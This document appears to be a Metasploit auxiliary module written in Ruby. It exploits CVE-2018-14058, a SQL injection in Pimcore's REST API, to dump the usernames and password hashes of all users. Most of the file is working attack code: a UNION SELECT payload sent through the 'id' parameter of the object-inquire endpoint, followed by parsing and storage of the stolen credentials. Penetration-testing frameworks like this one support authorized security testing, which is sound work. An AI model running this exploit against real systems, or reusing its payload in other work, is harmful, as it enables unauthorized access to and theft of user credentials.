##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Pimcore Gather Credentials via SQL Injection',
      'Description'    => %q{
        This module extracts the usernames and hashed passwords of all users of
        the Pimcore web service by exploiting a SQL injection vulnerability in
        Pimcore's REST API.

        Pimcore begins to create password hashes by concatenating a user's
        username, the name of the application, and the user's password in the
        format USERNAME:pimcore:PASSWORD.

        The resulting string is then used to generate an MD5 hash, and then that
        MD5 hash is used to create the final hash, which is generated using
        PHP's built-in password_hash function.
      },
      'Author'         => [ 'Thongchai Silpavarangkura', # PoC
                            'N. Rai-Ngoen',              # PoC
                            'Shelby Pace'                # Metasploit Module
                          ],
      'License'        => MSF_LICENSE,
      'References'     => [
                            [ 'CVE', '2018-14058' ],
                            [ 'EDB', '45208' ]
                          ],
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ]
        },
      'DisclosureDate' => '2018-08-13'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The base path to pimcore', '/' ]),
        OptString.new('APIKEY', [ true, 'The valid API key for Pimcore REST API', '' ])
      ])
  end

  def available?
    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(target_uri.path)
    )

    res && res.code == 200 && res.body.include?('pimcore')
  end

  def get_creds
    api_uri = normalize_uri(target_uri.path, "/webservice/rest/object-inquire")
    cmd = "#{rand(256)}) UNION ALL SELECT CONCAT(name,\" \",password) from users#"

    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  api_uri,
      'vars_get'  =>  {
        'apikey'  => datastore['APIKEY'],
        'id'      => cmd
      }
    )

    unless res
      fail_with(Failure::NotFound, 'The request returned no results.')
    end

    fail_with(Failure::NoAccess, 'API key is invalid') if res.body.include?('API request needs either a valid API key or a valid session.')

    format_results(res.get_json_document['data'])
  end

  def format_results(response)
    fail_with(Failure::NotFound, 'No data found') unless response
    creds = response.to_s.scan(/"([^\s]*)\s(\$[^(=>)]*)"/)
    fail_with(Failure::NotFound, 'Could not find any credentials') if creds.empty?

    print_good("Credentials obtained:")
    creds.each do |user, pass|
      print_good("#{user} : #{pass}")
      store_creds(user, pass)
    end
  end

  def store_creds(username, hash)
    store_valid_credential(
      user: username,
      private: hash,
      private_type: :nonreplayable_hash,
      service_data: {
        jtr_format: 'bcrypt',
        origin_type: :service,
        address: rhost,
        port: rport,
        service_name: 'mysql',
        protocol: 'tcp'
      }
    )
  end

  def run
    fail_with(Failure::NotFound, 'Could not access the Pimcore web page.') unless available?
    get_creds
  end
end
